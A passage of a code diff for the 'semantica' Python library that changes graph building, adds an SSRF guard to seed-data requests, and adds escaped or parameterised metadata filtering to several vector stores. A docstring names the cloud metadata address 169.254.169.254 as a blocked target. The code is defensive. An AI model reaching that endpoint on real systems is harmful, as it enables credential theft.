+            for sensitive in ("Authorization", "Proxy-Authorization"):
+                headers.pop(sensitive, None)
+            kwargs["headers"] = headers
+
         # Match requests' historical method rewriting for 301/302/303.
         if (
             response.status_code in _STRIP_BODY_ON_REDIRECT

semantica/kg/graph_builder.py

@@ -16,14 +16,14 @@ Key Features:
 Example Usage:
     >>> from semantica.kg import GraphBuilder
     >>> builder = GraphBuilder(merge_entities=True, resolve_conflicts=True)
-    >>> graph = builder.build(sources=[{"entities": [...], "relationships": [...]}])
+    >>> graph = builder.build(sources=[{"entities": [...], "relationships": [...]}])  # doctest: +SKIP
 
 Author: Semantica Contributors
 License: MIT
 """
 
 from datetime import datetime
-from typing import Any, Dict, List, Optional, Union
+from typing import Any, Dict, List, Optional, Tuple, Union
 import time
 
 
@@ -90,6 +90,18 @@ class GraphBuilder:
         self.version_snapshots = version_snapshots
         self.graph_store = graph_store
         self.config = kwargs  # Store additional config for extractors
+        # Extractors are reused across texts: NERExtractor loads its spaCy model
+        # eagerly in __init__, so constructing one per text would reload the
+        # model on every source in a multi-document build.
+        self._extractor_cache: Dict[Tuple[str, Any], Any] = {}
+        # build() resets these per run; seed them here so _extract_from_text
+        # is usable on its own instead of raising an AttributeError that the
+        # broad except in the extraction path silently swallows.
+        self._extraction_stats: Dict[str, int] = {
+            "extracted_entities": 0,
+            "extracted_relations": 0,
+            "extracted_triplets": 0,
+        }
 
         # Initialize logging
         from ..utils.logging import get_logger
@@ -228,6 +240,99 @@ class GraphBuilder:
             # Unknown type
             pass
 
+    def _get_extractor(
+        self, kind: str, extractor_cls, method: Union[str, List[str]]
+    ):
+        """Return a cached extractor for this method, building it on first use.
+
+        Extractors hold no per-text state but are expensive to construct —
+        ``NERExtractor(method="ml")`` loads a spaCy model in ``__init__``.
+        Keying on kind and method is enough because ``self.config`` is fixed
+        for the lifetime of the builder.
+
+        Args:
+            kind: Extractor role, one of ``"ner"``, ``"relation"``, ``"triplet"``.
+            extractor_cls: Extractor class to construct on a cache miss.
+            method: A method name, or a list of them for fallback ordering.
+                Lists are converted to tuples for the cache key only; the
+                extractor still receives the original value.
+        """
+        key = (kind, tuple(method) if isinstance(method, list) else method)
+        if key not in self._extractor_cache:
+            self._extractor_cache[key] = extractor_cls(method=method, **self.config)
+        return self._extractor_cache[key]
+
+    def _remap_relationship_endpoints(
+        self,
+        entities: List[Dict[str, Any]],
+        relationships: List[Dict[str, Any]],
+    ) -> int:
+        """Rewrite relationship endpoints after entity resolution.
+
+        Entity merging keeps the canonical entity ID and records the IDs of all
+        merged inputs in ``merged_from``.  Relationships are collected before
+        resolution, so without this remapping they can continue to reference an
+        entity that is no longer present in the graph.
+
+        Returns:
+            The number of relationship endpoints that were remapped.
+        """
+        endpoint_map: Dict[Any, Any] = {}
+
+        for entity in entities:
+            if not isinstance(entity, dict):
+                continue
+
+            canonical_id = entity.get("id")
+            if canonical_id is None:
+                canonical_id = entity.get("entity_id")
+            if canonical_id is None:
+                continue
+
+            # Keep canonical IDs stable and map every source ID retained by the
+            # merge operation to the surviving entity.
+            try:
+                endpoint_map[canonical_id] = canonical_id
+            except TypeError:
+                # Invalid/unhashable IDs are left for graph validation to report
+                # rather than making graph construction fail here.
+                continue
+
+            merged_from = entity.get("merged_from") or []
+            if isinstance(merged_from, (list, tuple, set)):
+                for source_id in merged_from:
+                    if source_id is not None:
+                        try:
+                            endpoint_map[source_id] = canonical_id
+                        except TypeError:
+                            # Skip invalid aliases while preserving valid ones.
+                            continue
+
+        remapped_count = 0
+        for relationship in relationships:
+            if not isinstance(relationship, dict):
+                continue
+
+            for endpoint in ("source", "target"):
+                endpoint_id = relationship.get(endpoint)
+                try:
+                    canonical_id = endpoint_map.get(endpoint_id)
+                except TypeError:
+                    # Invalid/unhashable endpoints are left for graph validation
+                    # to report rather than making graph construction fail here.
+                    continue
+
+                if canonical_id is not None and canonical_id != endpoint_id:
+                    relationship[endpoint] = canonical_id
+                    remapped_count += 1
+
+        if remapped_count:
+            self.logger.info(
+                "Remapped %d relationship endpoint(s) after entity resolution",
+                remapped_count,
+            )
+        return remapped_count
+
     def _extract_from_text(self, text: str, all_entities: List[Any], all_relationships: List[Any], **options):
         """Helper to extract knowledge from text using configured methods."""
         if not options.get("extract", True):
@@ -237,15 +342,17 @@ class GraphBuilder:
         from ..semantic_extract.relation_extractor import RelationExtractor
         from ..semantic_extract.triplet_extractor import TripletExtractor
         
-        # Default to LLM methods as per requirement
-        ner_method = options.get("ner_method", "llm")
-        relation_method = options.get("relation_method", "llm")
-        triplet_method = options.get("triplet_method", "llm")
+        # Local extractors by default — raw-text build() must not require a
+        # provider, API key, or network access. Pass ner_method="llm" (and the
+        # relation/triplet equivalents) to opt into LLM extraction.
+        ner_method = options.get("ner_method", "ml")
+        relation_method = options.get("relation_method", "pattern")
+        triplet_method = options.get("triplet_method", "pattern")
         
         self.logger.info(f"Extracting knowledge from text ({len(text)} chars) using {ner_method}...")
         
         # 1. Extract Entities
-        ner = NERExtractor(method=ner_method, **self.config)
+        ner = self._get_extractor("ner", NERExtractor, ner_method)
         try:
             entities = ner.extract_entities(text, **options)
             extracted_count = len(entities)
@@ -258,8 +365,16 @@ class GraphBuilder:
             entities = []
         
         # 2. Extract Relations (if requested)
-        if options.get("extract_relations", True):
-            rel_extractor = RelationExtractor(method=relation_method, **self.config)
+        # Stays None when relation extraction is skipped or fails, which lets
+        # TripletExtractor derive its own relations as before. When we do have
+        # them, they are forwarded below so triplets reuse the relations
+        # extracted with relation_method rather than re-deriving via
+        # triplet_method.
+        relations = None
+        if options.get("extract_relations", False):
+            rel_extractor = self._get_extractor(
+                "relation", RelationExtractor, relation_method
+            )
             try:
                 # Pass entities if available to help relation extraction
                 relations = rel_extractor.extract_relations(text, entities=entities, **options)
@@ -273,9 +388,13 @@ class GraphBuilder:
 
         # 3. Extract Triplets (if requested)
         if options.get("extract_triplets", True):
-            trip_extractor = TripletExtractor(method=triplet_method, **self.config)
+            trip_extractor = self._get_extractor(
+                "triplet", TripletExtractor, triplet_method
+            )
             try:
-                triplets = trip_extractor.extract_triplets(text, entities=entities, **options)
+                triplets = trip_extractor.extract_triplets(
+                    text, entities=entities, relations=relations, **options
+                )
                 extracted_count = len(triplets)
                 self._extraction_stats["extracted_triplets"] += extracted_count
                 self.logger.info(f"Extracted {extracted_count} triplets")
@@ -291,21 +410,51 @@ class GraphBuilder:
         pipeline_id: Optional[str] = None,
         **options,
     ) -> Dict[str, Any]:
-        """
-        Build knowledge graph from sources.
+        """Build a knowledge graph from one or more sources.
 
         Args:
-            sources: Entities or sources list
-            second_arg: Optional relationships list or entity_resolver (for backward compatibility)
-            pipeline_id: Optional pipeline ID for progress tracking
-            **options: Additional build options
-                - extract: Whether to extract entities from text (default: True)
-                - extract_relations: Whether to extract relations from text (default: False)
-                - ner_method: NER method to use (default: "ml")
-                - triplet_method: Triplet extraction method (default: "pattern")
+            sources: A source or list of sources. Sources may be text,
+                pre-extracted objects, or dictionaries containing ``entities``
+                and ``relationships``.
+            second_arg: An optional relationship list or entity resolver kept
+                for backward compatibility.
+            pipeline_id: Optional pipeline identifier used for progress
+                tracking.
+            **options: Additional graph-building options:
+
+                - ``extract`` (bool): Whether to run text extraction when a
+                  raw string or ``{"text": ...}`` dict is passed as a source
+                  (default: ``True``).
+                - ``extract_relations`` (bool): Whether to extract relations
+                  during text extraction (default: ``False``).
+                - ``extract_triplets`` (bool): Whether to extract triplets
+                  during text extraction (default: ``True``).
+                - ``ner_method`` (str): NER backend used for text extraction
+                  (e.g. ``"ml"``, ``"pattern"``, ``"llm"``; default: ``"ml"``).
+                - ``relation_method`` (str): Relation-extraction backend
+                  (e.g. ``"pattern"``, ``"llm"``; default: ``"pattern"``).
+                - ``triplet_method`` (str): Triplet-extraction backend
+                  (e.g. ``"pattern"``, ``"llm"``; default: ``"pattern"``).
+                - ``entity_resolver``: An :class:`EntityResolver` instance
+                  that overrides the one configured on the builder.
+                - ``relationships`` (list): An explicit list of relationships
+                  to include in addition to those found in *sources*.
+
+            Raw-text extraction uses local extractors by default and needs no
+            provider or API key. To use LLM extraction, pass the methods
+            explicitly, e.g. ``ner_method="llm"``.
 
         Returns:
-            Dictionary containing entities and relationships
+            A dictionary containing the graph's ``entities``,
+            ``relationships``, and build ``metadata``.
+
+        Example:
+            >>> builder = GraphBuilder(resolve_conflicts=False)
+            >>> graph = builder.build(  # doctest: +SKIP
+            ...     {"entities": [{"id": "ada"}], "relationships": []}
+            ... )
+            >>> graph["metadata"]["num_entities"]  # doctest: +SKIP
+            1
         """
         # Handle arguments
         entity_resolver = None
@@ -607,6 +756,16 @@ class GraphBuilder:
                     f"Entity resolution complete: {len(all_entities)} -> {len(resolved_entities)} unique entities"
                 )
 
+            # Relationships were collected before entity resolution. Rewrite
+            # endpoints only when resolution produced merged entity IDs.
+            if resolver_to_use:
+                has_merged_entities = any(
+                    isinstance(entity, dict) and entity.get("merged_from")
+                    for entity in resolved_entities
+                )
+                if has_merged_entities:
+                    self._remap_relationship_endpoints(resolved_entities, all_relationships)
+
             if input_relationships_count > 0 and len(all_relationships) == 0:
                 warning_msg = (
                     f"All relationships were dropped during graph building: "
@@ -730,6 +889,26 @@ class GraphBuilder:
         pipeline_id: Optional[str] = None,
         **options,
     ) -> Dict[str, Any]:
+        """Build a knowledge graph from a single source dictionary.
+
+        Args:
+            kg_data: Source data containing entities, relationships, or both.
+            pipeline_id: Optional pipeline identifier used for progress
+                tracking.
+            **options: Additional options forwarded to :meth:`build`.
+
+        Returns:
+            A dictionary containing the graph's ``entities``,
+            ``relationships``, and build ``metadata``.
+
+        Example:
+            >>> builder = GraphBuilder(resolve_conflicts=False)
+            >>> graph = builder.build_single_source(  # doctest: +SKIP
+            ...     {"entities": [{"id": "ada"}], "relationships": []}
+            ... )
+            >>> len(graph["entities"])  # doctest: +SKIP
+            1
+        """
         return self.build(kg_data, pipeline_id=pipeline_id, **options)
 
     def add_temporal_edge(
@@ -743,21 +922,33 @@ class GraphBuilder:
         temporal_metadata=None,
         **kwargs,
     ):
-        """
-        Add edge with temporal validity information.
+        """Add an edge with temporal validity information to a graph.
 
         Args:
-            graph: Knowledge graph to add edge to
-            source: Source entity/node
-            target: Target entity/node
-            relationship: Relationship type
-            valid_from: Start time for relationship validity (datetime, timestamp, or ISO string)
-            valid_until: End time for relationship validity (None for ongoing)
-            temporal_metadata: Additional temporal metadata (timezone, precision, etc.)
-            **kwargs: Additional edge properties
+            graph: Mutable knowledge-graph dictionary to update.
+            source: Identifier of the source entity or node.
+            target: Identifier of the target entity or node.
+            relationship: Relationship type for the edge.
+            valid_from: Start of the validity period. Accepts a datetime or
+                ISO-formatted string; defaults to the current time.
+            valid_until: End of the validity period, or ``None`` for an
+                ongoing relationship.
+            temporal_metadata: Optional metadata such as timezone or
+                precision information.
+            **kwargs: Additional properties to include on the edge.
 
         Returns:
-            Edge object with temporal annotations
+            The temporal edge dictionary appended to the graph's
+            ``relationships`` list.
+
+        Example:
+            >>> builder = GraphBuilder(resolve_conflicts=False)
+            >>> graph = {"entities": [], "relationships": []}
+            >>> edge = builder.add_temporal_edge(  # doctest: +SKIP
+            ...     graph, "ada", "analytical-engine", "DESIGNED"
+            ... )
+            >>> edge["type"]  # doctest: +SKIP
+            'DESIGNED'
         """
         tracking_id = self.progress_tracker.start_tracking(
             module="kg",
@@ -806,17 +997,29 @@ class GraphBuilder:
     def create_temporal_snapshot(
         self, graph, timestamp=None, snapshot_name=None, **options
     ):
-        """
-        Create temporal snapshot of graph at specific time point.
+        """Create a snapshot of a graph at a specific point in time.
 
         Args:
-            graph: Knowledge graph to snapshot
-            timestamp: Time point for snapshot (None for current time)
-            snapshot_name: Optional name for snapshot
-            **options: Additional snapshot options
+            graph: Knowledge graph whose entities and relationships will be
+                copied into the snapshot.
+            timestamp: Snapshot time, or ``None`` to use the current time.
+            snapshot_name: Optional human-readable snapshot name.
+            **options: Additional snapshot options reserved for extensions.
 
         Returns:
-            Temporal snapshot object
+            A snapshot dictionary containing the name, timestamp, all copied
+            entities, relationships valid at the timestamp, and summary
+            metadata.
+
+        Example:
+            >>> builder = GraphBuilder(resolve_conflicts=False)
+            >>> snapshot = builder.create_temporal_snapshot(  # doctest: +SKIP
+            ...     {"entities": [{"id": "ada"}], "relationships": []},
+            ...     timestamp="2026-01-01T00:00:00",
+            ...     snapshot_name="new-year",
+            ... )
+            >>> snapshot["name"]  # doctest: +SKIP
+            'new-year'
         """
         tracking_id = self.progress_tracker.start_tracking(
             module="kg",
@@ -897,19 +1100,32 @@ class GraphBuilder:
         temporal_window=None,
         **options,
     ):
-        """
-        Query graph at specific time point or time range.
+        """Query a graph at a specific time or over a time range.
 
         Args:
-            graph: Knowledge graph to query
-            query: Query (Cypher, SPARQL, or natural language)
-            at_time: Query at specific time point
-            time_range: Query within time range (start, end)
-            temporal_window: Temporal window size
-            **options: Additional query options
+            graph: Knowledge graph to query.
+            query: Query text to record in the result. The current
+                implementation does not interpret it or filter the graph.
+            at_time: Optional point in time at which to query the graph.
+            time_range: Optional ``(start, end)`` time range. The graph is
+                evaluated at the end of the range.
+            temporal_window: Optional temporal-window value reserved for
+                query-engine integrations.
+            **options: Additional query options reserved for extensions.
 
         Returns:
-            Query results with temporal context
+            A dictionary containing the query, temporal context, entities and
+            relationships from the selected graph or snapshot, and graph
+            metadata.
+
+        Example:
+            >>> builder = GraphBuilder(resolve_conflicts=False)
+            >>> result = builder.query_temporal(  # doctest: +SKIP
+            ...     {"entities": [{"id": "ada"}], "relationships": []},
+            ...     "MATCH (n) RETURN n",
+            ... )
+            >>> result["entities"][0]["id"]  # doctest: +SKIP
+            'ada'
         """
         tracking_id = self.progress_tracker.start_tracking(
             module="kg",
@@ -972,20 +1188,34 @@ class GraphBuilder:
         temporal_property="valid_time",
         **kwargs,
     ):
-        """
-        Load graph from Neo4j database.
+        """Load a knowledge graph from a Neo4j database.
 
         Args:
-            uri: Neo4j connection URI
-            username: Neo4j username
-            password: Neo4j password
-            database: Neo4j database name
-            enable_temporal: Enable temporal features for loaded graph
-            temporal_property: Property name for temporal data
-            **kwargs: Additional connection options
+            uri: Neo4j connection URI.
+            username: Neo4j username.
+            password:
+                Authentication credential supplied for the Neo4j user.
+            database: Neo4j database name.
+            enable_temporal: Whether to read temporal relationship data.
+            temporal_property: Relationship property containing temporal
+                data.
+            **kwargs: Additional connection options reserved for extensions.
 
         Returns:
-            Knowledge graph loaded from Neo4j
+            A dictionary containing loaded entities, relationships, and
+            source metadata.
+
+        Raises:
+            ImportError: If the Neo4j driver is unavailable.
+
+        Example:
+            >>> import os
+            >>> builder = GraphBuilder(resolve_conflicts=False)
+            >>> graph = builder.load_from_neo4j(  # doctest: +SKIP
+            ...     "bolt://localhost:7687",
+            ...     "neo4j",
+            ...     os.environ["NEO4J_PASSWORD"],
+            ... )
         """
         tracking_id = self.progress_tracker.start_tracking(
             module="kg",

semantica/mcp_server/__init__.py

@@ -45,14 +45,16 @@ import json
 import logging
 import os
 import sys
-from importlib.metadata import PackageNotFoundError, version
 from typing import Any
 
-try:
-    _SEMANTICA_VERSION = version("semantica")
-except PackageNotFoundError:
-    # Preserve direct source-tree execution when distribution metadata is absent.
-    from semantica import __version__ as _SEMANTICA_VERSION
+# `semantica.__version__` is the authoritative package version — it is kept in
+# sync with pyproject.toml's static `version` field by the release process and
+# is always present whenever this submodule is importable.  Using it directly
+# is simpler and more reliable than `importlib.metadata.version("semantica")`,
+# which reads dist-info written at install time and can lag the source in
+# editable installs (egg-info / dist-info is not regenerated on every version
+# bump, so it can reflect a stale value).
+from semantica import __version__ as _SEMANTICA_VERSION
 
 # ── logging ────────────────────────────────────────────────────────────────
 _log_level = getattr(logging, os.environ.get("SEMANTICA_LOG_LEVEL", "WARNING").upper(), logging.WARNING)

semantica/seed/seed_manager.py

@@ -43,6 +43,7 @@ from ..utils.helpers import read_json_file, write_json_file
 from ..utils.logging import get_logger
 from ..utils.progress_tracker import get_progress_tracker
 from ..utils.types import EntityDict, RelationshipDict
+from ..ingest.ssrf import parse_bool, request_with_ssrf_guard
 
 
 @dataclass
@@ -453,6 +454,13 @@ class SeedDataManager:
         'entities', 'data', 'results', 'items' keys). Automatically adds
         entity_type, relationship_type, and source metadata if provided.
 
+        SSRF protection is enabled by default: URLs resolving to private,
+        loopback, link-local (including cloud metadata endpoints such as
+        169.254.169.254), or other blocked addresses are rejected, and every
+        redirect hop is re-validated before being followed. For trusted
+        internal deployments, pass ``allow_private_ips=True`` in the manager
+        config to opt in (documented for internal use only).
+
         Args:
             api_url: Base API URL
             endpoint: Optional API endpoint path (appended to api_url)
@@ -491,8 +499,20 @@ class SeedDataManager:
             if api_key:
                 request_headers["Authorization"] = f"Bearer {api_key}"
 
-            # Make API request
-            response = requests.get(full_url, headers=request_headers, timeout=30)
+            # SSRF guard: reject private/loopback/link-local targets by default.
+            # Trusted internal deployments can opt in via config
+            # (allow_private_ips=True) — see issue #943.
+            allow_private = parse_bool(self.config.get("allow_private_ips", False))
+
+            # Make API request (request_with_ssrf_guard validates the URL and
+            # every redirect before each hop)
+            response = request_with_ssrf_guard(
+                "GET",
+                full_url,
+                headers=request_headers,
+                timeout=30,
+                allow_private_ips=allow_private,
+            )
             response.raise_for_status()
 
             # Parse response

semantica/vector_store/faiss_store.py

@@ -490,6 +490,42 @@ class FAISSStore:
             return self.index.get_metadata(vector_id)
         return None
 
+    def filter_by_metadata(
+        self, filters: Dict[str, Any], limit: int = 10
+    ) -> List[Dict[str, Any]]:
+        """
+        Filter stored vectors by metadata.
+
+        Args:
+            filters: Metadata filter criteria
+            limit: Maximum number of results
+
+        Returns:
+            List of matching result dicts with 'id', 'metadata', and 'vector'
+        """
+        if self.index is None or not hasattr(self.index, "metadata"):
+            return []
+
+        from .vector_store import _matches_filter
+
+        if limit <= 0:
+            return []
+
+        results = []
+        for vector_id, metadata in self.index.metadata.items():
+            if _matches_filter(metadata, filters):
+                results.append(
+                    {
+                        "id": vector_id,
+                        "metadata": metadata,
+                        "vector": self.get_vector(vector_id),
+                    }
+                )
+                if len(results) >= limit:
+                    break
+
+        return results
+
     def get_stats(self) -> Dict[str, Any]:
         """Get index statistics."""
         if self.index is None:
@@ -501,3 +537,15 @@ class FAISSStore:
             "vector_count": len(self.index.vector_ids),
             "faiss_available": FAISS_AVAILABLE,
         }
+
+    def count(self) -> int:
+        """Return the number of vectors currently tracked in this store.
+
+        Returns the length of the ``vector_ids`` list maintained by
+        ``FAISSIndex``.  FAISSStore does not implement vector deletion, so
+        this list is strictly append-only and is always consistent with the
+        underlying FAISS index (``index.ntotal``).
+        """
+        if self.index is None:
+            return 0
+        return len(self.index.vector_ids)

semantica/vector_store/milvus_store.py

@@ -35,6 +35,8 @@ Author: Semantica Contributors
 License: MIT
 """
 
+import math
+import re
 from typing import Any, Dict, List, Optional, Union
 
 import numpy as np
@@ -43,6 +45,45 @@ from ..utils.exceptions import ProcessingError, ValidationError
 from ..utils.logging import get_logger
 from ..utils.progress_tracker import get_progress_tracker
 
+
+def _validate_milvus_key(key: str) -> str:
+    """Validate and escape a metadata filter key for Milvus queries."""
+    if not key or not isinstance(key, str) or not re.match(r"^[a-zA-Z0-9_.-]+$", key):
+        raise ValidationError(f"Invalid metadata filter key: '{key}'")
+    return key.replace("\\", "\\\\").replace('"', '\\"')
+
+
+def _format_milvus_value(val: Any) -> str:
+    """Format and escape a filter value for Milvus expression syntax."""
+    if isinstance(val, bool):
+        return "true" if val else "false"
+    elif isinstance(val, (int, float)):
+        if isinstance(val, float) and not math.isfinite(val):
+            raise ValidationError(
+                f"Invalid metadata filter value: {val!r}. NaN/Infinity are not "
+                "valid Milvus expression literals."
+            )
+        return str(val)
+    elif isinstance(val, str):
+        escaped = (
+            val.replace("\\", "\\\\")
+            .replace('"', '\\"')
+            .replace("\n", "\\n")
+            .replace("\r", "\\r")
+        )
+        return f'"{escaped}"'
+    elif val is None:
+        return "null"
+    else:
+        escaped = (
+            str(val)
+            .replace("\\", "\\\\")
+            .replace('"', '\\"')
+            .replace("\n", "\\n")
+            .replace("\r", "\\r")
+        )
+        return f'"{escaped}"'
+
 # Optional Milvus import
 try:
     from pymilvus import (
@@ -550,11 +591,11 @@ class MilvusStore:
         """Get vector by ID."""
         if not MILVUS_AVAILABLE or not self.collection:
             return None
-            
+
         try:
-            safe_id = vector_id.replace('"', '\\"')
+            safe_id = vector_id.replace("\\", "\\\\").replace('"', '\\"')
             res = self.collection.collection.query(
-                expr=f'id == "{safe_id}"', 
+                expr=f'id == "{safe_id}"',
                 output_fields=["vector"]
             )
             if res and len(res) > 0:
@@ -567,11 +608,11 @@ class MilvusStore:
         """Get metadata by ID."""
         if not MILVUS_AVAILABLE or not self.collection:
             return None
-            
+
         try:
-            safe_id = vector_id.replace('"', '\\"')
+            safe_id = vector_id.replace("\\", "\\\\").replace('"', '\\"')
             res = self.collection.collection.query(
-                expr=f'id == "{safe_id}"', 
+                expr=f'id == "{safe_id}"',
                 output_fields=["metadata"]
             )
             if res and len(res) > 0:
@@ -580,6 +621,65 @@ class MilvusStore:
         except Exception:
             return None
 
+    def filter_by_metadata(
+        self, filters: Dict[str, Any], limit: int = 10
+    ) -> List[Dict[str, Any]]:
+        """
+        Filter vectors by metadata using Milvus expression filtering.
+
+        Args:
+            filters: Metadata filter criteria
+            limit: Maximum number of results
+
+        Returns:
+            List of matching result dicts with 'id', 'metadata', and 'vector'
+        """
+        if self.collection is None or not MILVUS_AVAILABLE:
+            return []
+
+        expr_parts = []
+        if filters:
+            for key, value in filters.items():
+                safe_key = _validate_milvus_key(key)
+                if isinstance(value, dict):
+                    if "min" in value and value["min"] is not None:
+                        min_val = _format_milvus_value(value["min"])
+                        expr_parts.append(f'metadata["{safe_key}"] >= {min_val}')
+                    if "max" in value and value["max"] is not None:
+                        max_val = _format_milvus_value(value["max"])
+                        expr_parts.append(f'metadata["{safe_key}"] <= {max_val}')
+                elif isinstance(value, list):
+                    formatted_vals = [_format_milvus_value(v) for v in value]
+                    expr_parts.append(
+                        f'metadata["{safe_key}"] in [{", ".join(formatted_vals)}]'
+                    )
+                else:
+                    formatted_val = _format_milvus_value(value)
+                    expr_parts.append(f'metadata["{safe_key}"] == {formatted_val}')
+
+        expr = " and ".join(expr_parts) if expr_parts else "id != ''"
+
+        try:
+            query_results = self.collection.collection.query(
+                expr=expr,
+                limit=limit,
+                output_fields=["id", "vector", "metadata"],
+            )
+            results = []
+            for item in query_results:
+                vec = item.get("vector")
+                results.append(
+                    {
+                        "id": str(item.get("id")),
+                        "metadata": item.get("metadata") or {},
+                        "vector": np.array(vec) if vec is not None else None,
+                    }
+                )
+            return results
+        except Exception as e:
+            self.logger.warning(f"Failed to query Milvus vectors by metadata expression: {e}")
+            return []
+
     def get_stats(self, collection_name: Optional[str] = None) -> Dict[str, Any]:
         """Get collection statistics."""
         if self.collection is None and collection_name:

semantica/vector_store/pgvector_store.py

@@ -63,6 +63,7 @@ except (ImportError, OSError):
     except (ImportError, OSError):
         PSYCOPG2_AVAILABLE = False
         psycopg2 = None
+        psycopg_sql = None
 
 # Optional pgvector import
 try:
@@ -655,6 +656,116 @@ class PgVectorStore:
             self.logger.warning(f"Failed to get metadata for {vector_id}: {e}")
             return None
 
+    def filter_by_metadata(
+        self, filters: Dict[str, Any], limit: int = 10
+    ) -> List[Dict[str, Any]]:
+        """
+        Filter stored vectors by metadata using PostgreSQL JSONB queries.
+
+        Args:
+            filters: Dictionary of metadata filter conditions
+            limit: Maximum number of results
+
+        Returns:
+            List of results containing id, metadata, and vector
+        """
+        if not PSYCOPG3_AVAILABLE and not PSYCOPG2_AVAILABLE:
+            raise ProcessingError(
+                "Neither psycopg3 nor psycopg2 is available. "
+                "Install with: pip install psycopg[binary] or psycopg2-binary"
+            )
+
+        filter_conditions = []
+        filter_values = []
+
+        if filters:
+            for key, value in filters.items():
+                if not self._is_safe_identifier(key):
+                    raise ValidationError(
+                        f"Invalid filter key: {key!r}. "
+                        "Keys must be alphanumeric with underscores/hyphens only."
+                    )
+                if isinstance(value, dict):
+                    if "min" in value and value["min"] is not None:
+                        filter_conditions.append(psycopg_sql.SQL("(metadata->>{})::numeric >= %s").format(
+                            psycopg_sql.Literal(key)
+                        ))
+                        filter_values.append(value["min"])
+                    if "max" in value and value["max"] is not None:
+                        filter_conditions.append(psycopg_sql.SQL("(metadata->>{})::numeric <= %s").format(
+                            psycopg_sql.Literal(key)
+                        ))
+                        filter_values.append(value["max"])
+                elif isinstance(value, list):
+                    # Same lowercase-bool rule as the scalar branch below: ->> renders
+                    # JSON booleans as 'true'/'false', not str()'s 'True'/'False'.
+                    str_values = [
+                        ('true' if v else 'false') if isinstance(v, bool) else str(v)
+                        for v in value
+                    ]
+                    # If the metadata value at this key is itself a JSON array, match on
+                    # intersection (mirrors the in-memory backend's set-intersection
+                    # semantics) via the jsonb `?|` "any array element matches" operator;
+                    # otherwise fall back to plain scalar membership. `->>` renders an
+                    # array as its whole text representation, so it cannot be reused for
+                    # the array case.
+                    filter_conditions.append(psycopg_sql.SQL(
+                        "(CASE WHEN jsonb_typeof(metadata->{0}) = 'array' "
+                        "THEN metadata->{0} ?| %s "
+                        "ELSE metadata->>{0} = ANY(%s) END)"
+                    ).format(psycopg_sql.Literal(key)))
+                    filter_values.append(str_values)
+                    filter_values.append(str_values)
+                elif isinstance(value, bool):
+                    # PostgreSQL JSONB ->> returns lowercase 'true'/'false' for JSON booleans.
+                    # str(True)='True' and str(False)='False' would never match; use the
+                    # correct lowercase text that ->> actually produces.
+                    filter_conditions.append(psycopg_sql.SQL("metadata->>{} = %s").format(
+                        psycopg_sql.Literal(key)
+                    ))
+                    filter_values.append('true' if value else 'false')
+                else:
+                    filter_conditions.append(psycopg_sql.SQL("metadata->>{} = %s").format(
+                        psycopg_sql.Literal(key)
+                    ))
+                    filter_values.append(str(value))
+
+        if filter_conditions:
+            where_clause = psycopg_sql.SQL(" WHERE ") + psycopg_sql.SQL(" AND ").join(filter_conditions)
+        else:
+            where_clause = psycopg_sql.SQL("")
+
+        query_sql = psycopg_sql.SQL("""
+            SELECT id, vector, metadata
+            FROM {table}
+            {where}
+            LIMIT %s
+        """).format(
+            table=psycopg_sql.Identifier(self.table_name),
+            where=where_clause
+        )
+        params = filter_values + [limit]
+
+        with self._get_connection() as conn:
+            try:
+                cur = conn.cursor()
+                cur.execute(query_sql, params)
+                rows = cur.fetchall()
+                cur.close()
+
+                results = []
+                for row in rows:
+                    vec_id, vector_data, meta = row
+                    vec = np.array(vector_data) if vector_data is not None else None
+                    results.append({
+                        "id": vec_id,
+                        "metadata": meta if isinstance(meta, dict) else json.loads(meta) if meta else {},
+                        "vector": vec
+                    })
+                return results
+            except Exception as e:
+                raise ProcessingError(f"Failed to filter vectors by metadata: {str(e)}") from e
+
     def create_index(
         self,
         index_type: str = "hnsw",
@@ -839,6 +950,15 @@ class PgVectorStore:
             except Exception as e:
                 raise ProcessingError("Failed to get stats") from e
 
+    def count(self) -> int:
+        """Return the exact number of vectors stored in this PostgreSQL table.
+
+        Executes ``SELECT COUNT(*) FROM <table>`` — always reflects the
+        committed state of the table, including any deletes or updates.
+        """
+        stats = self.get_stats()
+        return int(stats["vector_count"])
+
     def close(self):
         """Close the connection pool."""
         if self._pool:

semantica/vector_store/pinecone_store.py

@@ -75,7 +75,7 @@ class PineconeClient:
 
         try:
             # Default to serverless spec if not provided
-            if spec is None:
+            if spec is None and ServerlessSpec is not None:
                 spec = ServerlessSpec(cloud="aws", region="us-east-1")
 
             # Map metric names
@@ -327,6 +327,7 @@ class PineconeStore:
 
         self.api_key = api_key or config.get("api_key")
         self.environment = environment or config.get("environment")
+        self.dimension: Optional[int] = config.get("dimension")
 
         self.client: Optional[PineconeClient] = None
         self.index: Optional[PineconeIndex] = None
@@ -395,7 +396,7 @@ class PineconeStore:
 
         try:
             # Create index spec if not provided
-            if spec is None:
+            if spec is None and ServerlessSpec is not None:
                 spec = ServerlessSpec(cloud="aws", region="us-east-1")
 
             self.client.create_index(index_name, dimension, metric, spec, **kwargs)
@@ -404,6 +405,7 @@ class PineconeStore:
             pinecone_index = self.client.get_index(index_name)
             self.index = PineconeIndex(pinecone_index)
             self.search_engine = PineconeSearch(self.index)
+            self.dimension = dimension
 
             self.logger.info(f"Created Pinecone index: {index_name}")
             return self.index
@@ -431,6 +433,13 @@ class PineconeStore:
             pinecone_index = self.client.get_index(index_name)
             self.index = PineconeIndex(pinecone_index)
             self.search_engine = PineconeSearch(self.index)
+            if self.dimension is None:
+                try:
+                    stats = self.index.describe_index_stats()
+                    if stats and isinstance(stats, dict) and stats.get("dimension"):
+                        self.dimension = int(stats["dimension"])
+                except Exception as e:
+                    self.logger.warning(f"Could not determine index dimension for '{index_name}': {e}")
             return self.index
         except Exception as e:
             raise ProcessingError(f"Failed to get index: {str(e)}")
@@ -516,6 +525,9 @@ class PineconeStore:
                 else:
                     vector_list.append(list(vector))
 
+            if self.dimension is None and vector_list:
+                self.dimension = len(vector_list[0])
+
             self.progress_tracker.update_tracking(
                 tracking_id, message="Upserting vectors to index..."
             )
@@ -582,6 +594,9 @@ class PineconeStore:
             else:
                 query_vector = list(query_vector)
 
+            if self.dimension is None and query_vector:
+                self.dimension = len(query_vector)
+
             results = self.search_engine.similarity_search(
                 np.array(query_vector), k, filter, namespace, **options
             )
@@ -641,6 +656,85 @@ class PineconeStore:
             self.logger.warning(f"Failed to get metadata for {vector_id}: {e}")
             return None
 
+    def filter_by_metadata(
+        self, filters: Dict[str, Any], limit: int = 10, namespace: str = ""
+    ) -> List[Dict[str, Any]]:
+        """
+        Filter vectors by metadata using Pinecone metadata filters.
+
+        Args:
